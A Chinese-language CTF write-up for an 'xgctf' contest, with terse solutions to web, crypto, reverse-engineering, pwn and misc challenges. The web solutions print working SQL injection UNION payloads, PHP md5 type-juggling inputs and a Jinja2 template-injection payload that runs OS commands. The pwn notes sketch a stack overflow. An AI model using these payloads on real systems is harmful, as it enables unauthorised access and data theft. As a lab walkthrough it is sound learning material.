Web
Crypto
Re
Pwn
Misc
看源代码底部就能知道前面一段flag 在将input的size和maxlength去掉提交就可以得到下一段flag
在1-3秒内答题 口算好可以直接做 不然也可以写python脚本自动提交数据 注意session的获取就行
vim写的 明示有swp文件 index.php.swp 得到源码
0)==false) {
echo "xgctf{xxxxxxx}";
}
else {
echo "Sorry, just think more";
}
} else {
echo "Sorry, you are wrong";
}
}
else{
echo "这是第一个我用vim写的网站哦";
}
?>
三个变量 a b c.其中 a b要求值不同但md5相等 可以直接用a=240610708&b=QNKCDZO相似md5过验证 理论也可以传数组过验证 c既要大于9999999 又要小于0 可用数组 NULL==FALSE 交提就拿flag
sql注入题
简单测试下 发现基本没有关键词过滤 直接注入就行
似乎第二个input才是执行的代码 第一个仅仅只是用来填模板的 所以要在下面注入
1’ or 1=1 order by 7 #可以知道有7列
1’ union select 1,2,3,4,5,user(),database() #数据库是school
1’ union select 1,2,3,4,5,6,table_name from information_schema.tables where table_schema= ‘school’#得到table_name
1’ union select 1,2,3,4,5,6,flag from flag #猜测字段名是flag即可
网页源码提示是用来flask的 也没有关键词过滤 可以直接执行系统命令
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
看到有flag这个文件 cat之后得到flag
a3RwZ3N7b25mcl82NF9uYXFfZTBnXzEzfQ==
base64解密后 ktpgs{onfr_64_naq_e0g_13} 像是flag 但flag是xgctf开头的
ktpgs和xgctf每个单词相差13或-13 所以枚举每个位置单词的所有可能 然后凭感觉组合(#.#)
如题是培根加密 大写字母1小写字母0 然后在http://rumkin.com/tools/cipher/baconian.php解密就行
搜中文后可以看到提示
直接jmp到段首 然后跟到段尾 flag就出现了
拖OD找到关键句 所以要分析算法
那就去IDA F5
分析可知输入的每个字符跟v10开始的数组进行异或 再跟v32比较 相等就正确 输入的就是flag
因为异或在异或就是本来的数据 所以只要v32跟v10数组再次异或就OK
这是main函数 linux的ida似乎没有F5?TOT
这道题主要是让输入的buf覆盖var4的值 所以我们需要C-4个字母加上7E3就可以骗到flag
跟上面的有点不同 这是让我们用栈溢出来执行CALL
这是我们的目标 地址是 08048466
也就是让给EBP这个值 参考https://www.jianshu.com/p/7f18c0db8e68
用peda可以算出溢出值 20
代码:
音频隐写 刚好我电脑装了Au 随便看几个音频参数 就可以发现flag在这里
zip损坏 在压缩包头部补上文件头即可
题目给了提示 要求高度补上50px
将 修改为190可以看到flag